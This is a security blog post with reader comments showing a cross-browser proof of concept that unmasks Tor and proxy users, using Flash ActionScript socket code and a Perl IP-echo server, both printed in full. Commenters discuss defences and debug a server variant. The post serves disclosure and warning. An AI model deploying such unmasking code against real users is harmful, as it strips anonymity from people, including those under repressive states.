It's really time to sleep in my timezone, but I just couldn't resist when I read latest RSnake's post about Deanonymizing Tor and Detecting Proxies.

The basic concept, not terribly new by the way, is that browser proxy settings cannot be enforced on browser plugins, which happily ignore them in some circumstances, e.g. when establishing a direct TCP socket connection.
So if you're using a proxy to hide your internet address (like Tor users do), embeddable objects like Java applets can betray you, revealing your real identity to advertisers spying on your habits or, worse, to the police of a repressive state.

This caveat has been preached even on the Tor download page itself, but nothing better than some scary demos to convert the non believers.

RSnake's interesting proof of concept exploits JavaScript + LiveConnect , and it apparently works on Gecko-based browser with Java™ installed only. I didn't manage to make it work on Opera, even though it does support LiveConnect.

So I decided to defer bedtime a bit and I put together my own quick deanonymizing proof of concept, which relies on the almost ubiquitous Macromedia® Flash® and works in any web browser, like Internet Explorer, supporting the Flash player (no need for JavaScript, either).


ActionScript object is used to bypass browser's proxy setting and connect to a tiny server written in Perl, listening on port 9999 and echoing client's IP.

Here's the ActionScript code:

  1. var socket = new XMLSocket();
  2. socket.onConnect = function(success) {
  3. socket.onXML = function(doc) {
  4. getURL("" +
  5. doc.firstChild.firstChild.nodeValue);
  6. socket.close();
  7. };
  8. socket.send(new XML());
  9. };
  10. socket.connect("", 9999);

And here's the Perl server:

  1. #!/usr/bin/perl -w
  2. use strict;
  3. use IO::Socket;
  5. my $port = shift || 9999;
  6. my $sock = new IO::Socket::INET(
  7. LocalPort => $port,
  8. Proto => 'tcp',
  9. Listen => SOMAXCONN,
  10. Reuse => 1);
  11. $sock or die "socket: $!";
  12. my($new_sock, $c_addr, $buf);
  13. while (($new_sock, $c_addr) = $sock->accept())
  14. {
  15. my ($client_port, $client_ip) = sockaddr_in($c_addr);
  16. print $new_sock "<ip>" . inet_ntoa($client_ip) . "</ip>\000";
  17. $new_sock->close();
  18. }

Today's lesson is: if you want to stay anonymous, you'd better turn off Java, Flash and any other plugin!

Update OCT-27

I've just learned that some months ago a guy called yawnmoth demonstrated an Unmasking Java Applet. Just like my Flash-based one, this works also in browsers, like IE, not supporting LiveConnect.
The lesson above obviously applies, even stronger.


19 Responses to “Cross-Browser Proxy Unmasking”

  1. #1 hackathology says:

    Hey Giorgio, this is an ingenious idea build on top of JS. Truly amazing.

  2. #2 Zoiz says:

    I learn something from your lesson :P Thanks anyway

  3. #3 Gareth Heyes says:

    Cool stuff Giorgio

  4. #4 Dan Veditz says:

    The development version of the Tor Button turns off plugins and other dangerous stuff (in fact, turning off plugins is the first thing listed at The release version does none of those things though, it just switches your proxy settings. They really need to get the new version released.

  5. #5 janusvm says:

    This is why JanusVM and the transparent proxy approach works so well. All host TCP and DNS traffic is routed through Tor, so you don't need to worry about plugins and browser helpers leaking information by avoiding proxy settings in the browser. JanusVM since day one has protected against these types of leaks.

  6. #6 NoS says:

    I guess 9999 port is not such a good idea... It fires an alert in most personal firewalls "A browser is trying to connect to some weird port". A standard 80 port should work fine...

  7. #7 Giorgio says:

    I agree, and I'd surely choose 80, if only Flash allowed opening socket connections to ports lower than 1024.
    However, in a real world scenario, 8080 could be a feasible and more firewall-friendly candidate.

  8. #8 anon says:

    Scarey demos are very good at convincing people... but you need a demo that actually works.

    I tried the demo at
    it failed to get my IP address and the browser info it displayed is the string in my general.useragent.override:
    Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20070716 SeaMonkey/1.1.3

  9. #9 Giorgio says:

    That demo won't work if you don't have the Java plugin installed, as mine won't work if you miss the Flash player plugin (quite obviously).
    Is this the case?

  10. #10 TMM says:

    I tried to make a inetd-based perl-server since I don't need any cronjob to check if the process is running that way. It worked, but instead of stability, the answer returned from the server got lost when it reached the flash it actually did nothing at all a few times (I tried to return the ip directly to the flash instead). That's quite weird, since the source is almost identical compared to yours. Do you know why?

    Here's the flash:

    And here's the source for the server:

    #!/usr/bin/perl -w
    use strict;
    use Socket;
    my $port;
    my $iaddr;
    my $sockaddr = getpeername(STDOUT);
    ($port, $iaddr) = unpack_sockaddr_in($sockaddr);
    my $hostname = gethostbyaddr($iaddr, AF_INET);
    my $straddr = inet_ntoa($iaddr);
    print "$straddr00";
  11. #11 Giorgio says:

    from a quick look, I'd say the main problem is your response not being NULL terminated (unless Wordpress did some escape brutality to your post).


    keeps the connection open for full duplex persistent communication (that's why my code has an explicit


    statement) and expects each response chunk to be a valid XML document terminated with a "0" octet (NULL char).
    You can work around the "valid XML" requirement by overriding the


    event handler, but if you don't NULL-terminate your response, your client won't read anything.

  12. #12 on: De-anonymizing Tor, or any HTTP Proxy « TheMostBoringBlogInTheWorld says:

    [...] I deferred my bedtime a bit to put up a cross-browser version: [...]

  13. #13 dawgg says:

    great & intersting work, but using tor and allowing unfiltered direct web-access to applications at the same is really pointless. ppl who do this will only learn if punished.

  14. #14 Long Life to Tor! says:

    Just for the record, the rules required for Tor, while you're using a browser like XeroBank are the following. You have to apply them to Firefox.exe file, which is placed on XeroBank's directory:

    Where the protocol is TCP
    where the direction is Outbound
    And where the remote port is HTTP, HTTPS
    Block It

    HTTP = port 80
    HTTPS = port 443

    If you do that, even if you're using Noscript to allow everything to perform that test, your firewall will prevent the browser from leaking your true IP. I checked here and when my firewall was closed, my true IP was indeed disclosed. So, the bottom line is: if you need to prevent such direct connections, you have to set these rules on your firewall. Otherwise, your true IP will be leaked!

    There are more rules here:

    I strongly recommend everyone to see what was explained on this board.

  15. #15 AlternateExistance says:

    I tested the original TorCap (commandline only) and found it effectively stops Flash from leaking your real IP Address while using Firefox and Tor but i haven't tested it with Java (as i don't use Java).

    The original commandline version is pretty hard to find as the project has been revised, updated and released as a GUI (which i havn't tested... so test it before you rely upon it):
    If you decide to test it, post your findings for the rest of us.

    You should also ensure you are using the latest version of Flash and have also uninstalled all older versions of Flash (as they are often left behind when you upgrade)... but for that matter you should ensure you have the latest versions of all the software on your computer. There is ZERO point using Tor or other such services the programs you use have known security exploits...

    Ensuring all your programs are secure is a royal pain in the butt but an easier way to check what does and does not have have know security flaws and weaknesses is to use the Software Inspector tools put together by the Secunia crew:
    Online browser based Java plugin scanner (less effective):
    Standalone GUI exe:

  16. #16 hall says:

    if someone is dossing a server and masking there ip address so they cant be traced is it possible anyway to find out his ip address+ service provider?

  17. #17 Hide IP address says:

    Hi! Of cause, this is the real true, but not for every service on the Internet. You should understand that nothing is free. In this case, I mean Tor that provides free anonymous surfing for Internet users.

    Of cause, they collect the information about users for father usage. Some services providing Internet anonymity having ads and they say that this is enough for them. But others, like Tor, want to have more profits for their free service usage.

    Probably, they are doing this because of very high prices that they spend every day. They have to pay for servers that users use and many others. But how they dare to say that they do provide ANONYMITY for users. I cannot understand this even now.

    This post is another try to show the real situation in the Internet. I very appreciate people who write posts like this one. Thank you all!!! Keep on going.

  18. #18 Lee says:

    if this site helps me get on myspace i would be grateful

  19. #19 HR says:

    So I have to ask, where is the source code for ip_unmasker.php so I could impliment locally? Im after the javascript method..

Bad Behavior has blocked 868 access attempts in the last 7 days.